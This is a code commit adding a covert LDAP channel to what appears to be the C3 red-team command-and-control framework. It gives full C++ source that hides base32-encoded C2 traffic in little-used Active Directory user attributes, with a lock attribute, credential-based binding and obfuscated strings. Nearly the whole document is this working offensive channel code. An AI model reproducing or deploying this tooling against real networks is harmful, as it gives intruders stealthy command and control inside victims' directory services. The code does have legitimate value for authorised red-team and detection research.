Release LDAP channel

master
Grzegorz Rychlik 2020-10-05 18:33:05 +02:00
parent 626ed972d7
commit 8d11e832a6
4 changed files with 406 additions and 0 deletions

View File

@ -14,6 +14,7 @@
<ProjectCapability Include="SourceItemsFromImports" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
@ -62,6 +63,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />

View File

@ -40,6 +40,7 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
@ -129,5 +130,6 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.h" />
</ItemGroup>
</Project>

View File

@ -0,0 +1,294 @@
#include "stdafx.h"
#ifndef SECURITY_WIN32
#define SECURITY_WIN32
#endif
#include "LDAP.h"
#include "Common/FSecure/CppTools/StringConversions.h"
#include "Common/FSecure/CppTools/ScopeGuard.h"
#include "Common/FSecure/Crypto/Base32.h"
#include <comdef.h> // COM definitions
#include <activeds.h> // ADSI definitions
#pragma comment(lib, "Adsiid.lib")
#pragma comment(lib, "Activeds.lib")
#pragma comment(lib, "Secur32.lib")
#include <security.h>
#include <secext.h>
#include <Iads.h>
#include <adshlp.h>
using namespace FSecure::StringConversions;
namespace FSecure::C3::Interfaces::Channels::Detail
{
bool ComInit()
{
if (FAILED(CoInitialize(nullptr)))
throw std::runtime_error{ OBF("Failed to intialize COM") };
return true;
}
ComInitializer::ComInitializer() :
m_Init{ reinterpret_cast<void*>(ComInit()), &Deleter }
{
}
void ComInitializer::Deleter(void*)
{
CoUninitialize();
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::C3::Interfaces::Channels::LDAP::LDAP(ByteView arguments)
: m_inboundDirectionName{ arguments.Read<std::string>() }
, m_outboundDirectionName{ arguments.Read<std::string>() }
, m_ldapAttribute{ Convert<Utf16>(arguments.Read<std::string>()) }
, m_ldapLockAttribute{ Convert<Utf16>(arguments.Read<std::string>()) }
, m_maxPacketSize{ arguments.Read<uint32_t>() }
, m_domainController{ Convert<Utf16>(arguments.Read<std::string>()) }
, m_username{ Convert<Utf16>(arguments.Read<std::string>()) }
, m_password{ Convert<Utf16>(arguments.Read<std::string>()) }
, m_userDN{ Convert<Utf16>(arguments.Read<std::string>()) }
, m_Com{}
, m_DirObject{ CreateDirectoryObject() }
{
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t FSecure::C3::Interfaces::Channels::LDAP::OnSendToChannel(ByteView data)
{
// Check if the attribute is locked for writing already
if (!GetAttributeValue(m_ldapLockAttribute).empty())
// It's locked which means it hasn't been read yet
return 0;
// If not then lock it by setting the lock attribute to be the name of our intended recipient
SetAttribute(m_ldapLockAttribute, Convert<Utf16>(m_outboundDirectionName));
// Find out what size chunks we're able to send
size_t sizeOfDataToWrite = CalculateDataSize(data);
// Encode the data
std::string dataToWrite = EncodeData(data, sizeOfDataToWrite);
// Write the data
SetAttribute(m_ldapAttribute, Convert<Utf16>(dataToWrite));
return sizeOfDataToWrite;
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::ByteVector FSecure::C3::Interfaces::Channels::LDAP::OnReceiveFromChannel()
{
std::string lockValue = GetAttributeValue(m_ldapLockAttribute);
// If attribute or lock is empty then nothing to be read
if (lockValue.empty() || lockValue != m_inboundDirectionName)
return {};
std::string attributeValue = GetAttributeValue(m_ldapAttribute);
if (attributeValue.empty())
return {};
// Decode attribute value and prepare to send it back
ByteVector ret = base32::decode(attributeValue);
// Clear the data attribute
ClearAttribute(m_ldapAttribute);
// Clear the lock so that data can be written again
ClearAttribute(m_ldapLockAttribute);
return ret;
}
FSecure::C3::Interfaces::Channels::Detail::ComPtr<IDirectoryObject> FSecure::C3::Interfaces::Channels::LDAP::CreateDirectoryObject()
{
IDirectoryObject* dirObject;
std::wstring ldapUrl = OBF(L"LDAP://") + m_domainController + L"/" + m_userDN;
HRESULT hr;
if (!m_username.empty() || !m_password.empty())
hr = ADsOpenObject(ldapUrl.c_str(), m_username.c_str(), m_password.c_str(), ADS_SECURE_AUTHENTICATION, IID_IDirectoryObject, (void**)&dirObject);
else
hr = ADsOpenObject(ldapUrl.c_str(), nullptr, nullptr, ADS_SECURE_AUTHENTICATION, IID_IDirectoryObject, (void**)&dirObject);
if (!SUCCEEDED(hr))
throw std::runtime_error{ OBF("Couldn't bind to Active Directory.") };
return { dirObject };
}
void FSecure::C3::Interfaces::Channels::LDAP::ClearAttribute(std::wstring const& attribute)
{
DWORD dwReturn = 0;
ADS_ATTR_INFO attrInfo{ const_cast<LPWSTR>(attribute.c_str()), ADS_ATTR_CLEAR, ADSTYPE_CASE_IGNORE_STRING, NULL, 1 };
auto hr = m_DirObject->SetObjectAttributes(&attrInfo, 1, &dwReturn);
if (!SUCCEEDED(hr))
throw std::runtime_error{ OBF("Couldn't clear attribute.") };
}
std::string FSecure::C3::Interfaces::Channels::LDAP::GetAttributeValue(std::wstring const& attribute)
{
ADS_ATTR_INFO* pAttrInfo = nullptr;
LPWSTR pAttrNames[] = { const_cast<LPWSTR>(attribute.c_str()) };
DWORD dwReturn = 0;
HRESULT hr = m_DirObject->GetObjectAttributes(pAttrNames, 1, &pAttrInfo, &dwReturn);
if (FAILED(hr))
throw std::runtime_error{ OBF("Failed to get attribute value.") };
auto attrInfo = std::unique_ptr<ADS_ATTR_INFO, decltype(&FreeADsMem)>{ pAttrInfo, &FreeADsMem };
// Check if the attribute is empty, returning an empty string if so
if (dwReturn == 0)
return "";
switch (pAttrInfo[0].dwADsType)
{
case ADSTYPE_CASE_IGNORE_STRING:
return Convert<Utf8>(pAttrInfo[0].pADsValues[0].CaseIgnoreString);
case ADSTYPE_OCTET_STRING:
return { reinterpret_cast<char const*>(pAttrInfo[0].pADsValues[0].OctetString.lpValue), pAttrInfo[0].pADsValues[0].OctetString.dwLength };
}
throw std::runtime_error{ OBF("Couldn't read the attribute type, pick a better attribute.") };
}
void FSecure::C3::Interfaces::Channels::LDAP::SetAttribute(std::wstring const& attribute, std::wstring const& value)
{
ADSVALUE snValue;
snValue.dwType = ADSTYPE_CASE_IGNORE_STRING;
snValue.CaseIgnoreString = const_cast<LPWSTR>(value.c_str());
ADS_ATTR_INFO attrInfo[] = { const_cast<LPWSTR>(attribute.c_str()), ADS_ATTR_UPDATE, ADSTYPE_CASE_IGNORE_STRING, &snValue, 1 };
DWORD dwReturn = NULL;
HRESULT hr = m_DirObject->SetObjectAttributes(attrInfo, 1, &dwReturn);
if (!SUCCEEDED(hr))
throw std::runtime_error{ OBF("Failed to set attribute, likely because it doesn't exist.") };
}
size_t FSecure::C3::Interfaces::Channels::LDAP::CalculateDataSize(ByteView data)
{
auto maxPacketSize = base32::decoded_max_size(m_maxPacketSize);
return std::min(maxPacketSize, data.size());
}
std::string FSecure::C3::Interfaces::Channels::LDAP::EncodeData(ByteView data, size_t dataSize)
{
auto sendData = data.SubString(0, dataSize);
return base32::encode(sendData.data(), sendData.size());
}
FSecure::ByteVector FSecure::C3::Interfaces::Channels::LDAP::OnRunCommand(ByteView command)
{
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
switch (command.Read<uint16_t>())
{
case 0:
//lock first to avoid race condition
SetAttribute(m_ldapLockAttribute, Convert<Utf16>(L"CLEAR"));
//clear attribute
ClearAttribute(m_ldapAttribute);
ClearAttribute(m_ldapLockAttribute);
return {};
default:
return AbstractChannel::OnRunCommand(commandCopy);
}
}
const char* FSecure::C3::Interfaces::Channels::LDAP::GetCapability()
{
return R"_(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "Data LDAP Attribute",
"min": 1,
"defaultValue": "mSMQSignCertificates",
"description": "The LDAP attribute to write data into. Recommend mSMQSignCertificates (MANUALLY CHECK THAT IT IS EMPTY)"
},
{
"type": "string",
"name": "Lock LDAP Attribute",
"min": 1,
"defaultValue": "primaryInternationalISDNNumber",
"description": "The LDAP attribute to use as the lock. Recommend primaryInternationalISDNNumber (MANUALLY CHECK THAT IT IS EMPTY)"
},
{
"type": "uint32",
"name": "Max Packet Size",
"min": 1,
"defaultValue": "1047552",
"description": "The maximum number of bytes that your selected LDAP attribute supports"
},
{
"type": "string",
"name": "Domain Controller",
"min": 1,
"defaultValue": "<FQDN>",
"description": "The domain controller to target, avoids waiting for synchronisations"
},
{
"type": "string",
"name": "Username",
"defaultValue": "",
"description": "The FQDN of the account to modify (i.e. fsecure@uk.test.com), defaults to executing user if empty"
},
{
"type": "string",
"name": "Password",
"defaultValue": "",
"description": "The password of the account to modify, defaults to executing user if empty"
},
{
"type": "string",
"name": "User DN",
"defaultValue": "CN=Jeff Smith,CN=users,DC=fabrikam,DC=com",
"description": "The Distinguished Name (DN) of the account to modify"
}
]
},
"commands": [
{
"name": "Clear attribute values",
"id": 0,
"description": "Clear data and lock attributes in the event of an error",
"arguments": []
}
]
}
)_";
}

View File

@ -0,0 +1,108 @@
#pragma once
#include <winnt.h>
struct IDirectoryObject;
namespace FSecure::C3::Interfaces::Channels
{
namespace Detail
{
/// @brief RAII wrapper to call CoInitialize / CoUninitialize
struct ComInitializer
{
ComInitializer();
private:
static void Deleter(void*);
std::unique_ptr<void, decltype(&Deleter)> m_Init;
};
/// @brief RAII wrapper around ComPtr to call IUnknown::Release
/// @tparam T
template<typename T>
struct ComPtr
{
ComPtr(T* ptr) : m_Ptr{ ptr, &Deleter } {}
T* operator -> () { return m_Ptr.get(); }
private:
static void Deleter(T* ptr)
{
ptr->Release();
}
std::unique_ptr<T, decltype(&Deleter)> m_Ptr;
};
}
///Implementation of the LDAP Channel.
struct LDAP : public Channel<LDAP>
{
/// Public constructor.
/// @param arguments factory arguments.
LDAP(ByteView arguments);
/// Destructor
virtual ~LDAP() = default;
/// OnSend callback implementation.
/// @param packet data to send to Channel.
/// @returns size_t number of bytes successfully written.
size_t OnSendToChannel(ByteView packet);
/// Reads a single C3 packet from Channel.
/// @return packet retrieved from Channel.
ByteVector OnReceiveFromChannel();
Detail::ComPtr<IDirectoryObject> CreateDirectoryObject();
void ClearAttribute(std::wstring const& attribute);
std::string GetAttributeValue(std::wstring const& attribute);
void SetAttribute(std::wstring const& attribute, std::wstring const& value);
size_t CalculateDataSize(ByteView data);
static std::string EncodeData(ByteView data, size_t dataSize);
FSecure::ByteVector OnRunCommand(ByteView command) override;
/// Get channel capability.
/// @returns Channel capability in JSON format
static const char* GetCapability();
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
/// Set long delay otherwise LDAP rate limit will heavily impact channel.
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
protected:
/// The inbound direction name of data
std::string m_inboundDirectionName;
/// The outbound direction name, the opposite of m_inboundDirectionName
std::string m_outboundDirectionName;
/// The LDAP attribute to save the data too
std::wstring m_ldapAttribute;
/// The LDAP attribute to use as the lock
std::wstring m_ldapLockAttribute;
/// Maximum packet size
uint32_t m_maxPacketSize;
/// Target domain controller to bind to
std::wstring m_domainController;
/// An explict LDAP username to bind to
std::wstring m_username;
/// The password needed to bind to the target user
std::wstring m_password;
/// Distinguished name of the target user
std::wstring m_userDN;
/// Initialize COM
Detail::ComInitializer m_Com;
/// LDAP directory object used to query AD
Detail::ComPtr<IDirectoryObject> m_DirObject;
};
}